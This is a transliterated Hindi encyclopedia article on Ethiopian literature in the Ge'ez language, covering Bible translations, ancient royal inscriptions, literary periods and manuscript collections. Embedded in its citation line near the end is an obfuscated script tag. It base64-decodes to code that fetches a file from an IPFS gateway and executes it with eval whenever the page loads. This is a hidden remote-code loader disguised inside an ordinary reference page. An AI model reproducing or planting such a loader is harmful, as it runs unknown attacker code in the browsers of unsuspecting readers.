इथिओपियाई साहित्य
ithiopiyaee sahity yah keval dharmagranthoan ka sahity hai aur baibil ke anuvadoan tak simit hai. isamean 46 anuvad 'old testameant' ke aur 35 'nyoo testameant' ke hue. sabase pahale eesa ke jivanacharit aur upadeshoan ke anuvad pashchimi arminiyaee bhasha se sanh 500 ee. mean hue the. ithiopiyaee bhasha ko giz kahate haian. sahityik abhivyakti ke lie giz ka prayog abisiniya mean eesaee dharm ke agaman se kuchh hi pahale praranbh hua. janabhasha ke roop mean isaka prayog kab band ho gaya, yah ajnat hai.
eesaee dharm ke agaman se poorv ithiopiya mean prakritipooja prachalit thi. prachin ithiyopiyaee dharm aur sanskriti prachin misr se aee pratit hoti hai. tin prachin shahi shilalekh upalabdh hue haian. unamean se do di.ech. myoolar dvara je.ti. beant pustak 'ithiopiyanoan ka pavitr nagar' mean sanh 1883 ee. mean prakashit kie ge aur tisara, jo matara mean prapt hua tha, si.si. rozini ki pustak 'reandikoanti akadh linasi' mean sanh 1896 mean prakashit hua. ye shahi shilalekh hairognifik lipi (jo prachin misr ki chitramay pavitr lipi) aur misri bhasha mean utkirn haian. eegamenis kal ke asapas ek janaboli bhi shilalekhoan mean prayukt hone lagi. isaki lipi mean 23 sanketoan ki vishisht varnamala thi, hairogliphik chitr sanketoan ke samaantar dharavahik roop mean daeean se baeean aur likhi jati thi, misri paddhati ke viparit, jisamean chitroan ke mukh ki disha mean likha jata tha. kiantu in sanketoan ke roop aur arth adhikaansh mean misri bhasha ke hi the. itana hote hue bhi yah bhasha n to aj tak padhi ja saki hai aur n yahi kaha ja sakata hai ki kis bhashaparivar se isaka nata hai.
giz bhasha mean likhit sahity ko do kaloan mean vibhajit kiya jata hai : (1) paanchavian shatabdi ke asapas eesaee dharm ke agaman se satavian shatabdi tak aur (2) sanh 1269 ee. mean saloman vanshi raj ki pun: sthapana se lekar ab tak. pratham kal mean grik bhasha se anuvad hue aur doosare mean arabi bhasha se.
giz sahity ki ab tak upalabdh paandulipiyoan ki sankhya lagabhag 1,200 hai jinaki soochi rozini ne sanh 1899 ee. mean prakashit ki. inamean se adhikaansh paandulipiyaan british myooziyam, landan mean aur shesh yoorop ke pramukh sangrahalayoan mean surakshit haian. anek paandulipiyaan abisiniya mean aur logoan ke niji pustakalayoan mean bhi haian. ar.ee. litaman ne apani pustak 'jitsharipht phyoor asiriyol aauji' mean kaha hai ki do b de sangrah jeroosalam mean bhi haian, jinamean se ek mean 283 paandulipiyaan haian. rozini ke anusar 35 hastalikhit granth cheren ke kaitholik mishan mean surakshit haian.
baibil ke giz bhasha mean kuchh aanshoan ke atirakt sanh 1893 ee. se ab tak 40 se adhik ithiopiyaee sahity ki pustakean yoorop mean mudrit bhi ho chuki haian (dr. bibliyothika ithiyopika; lekhak el. goldashmidh), kiantu pratham athava dvitiy shreni ka ek bhi sahityakar aj tak giz bhasha ne utpann nahian kiya.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 526 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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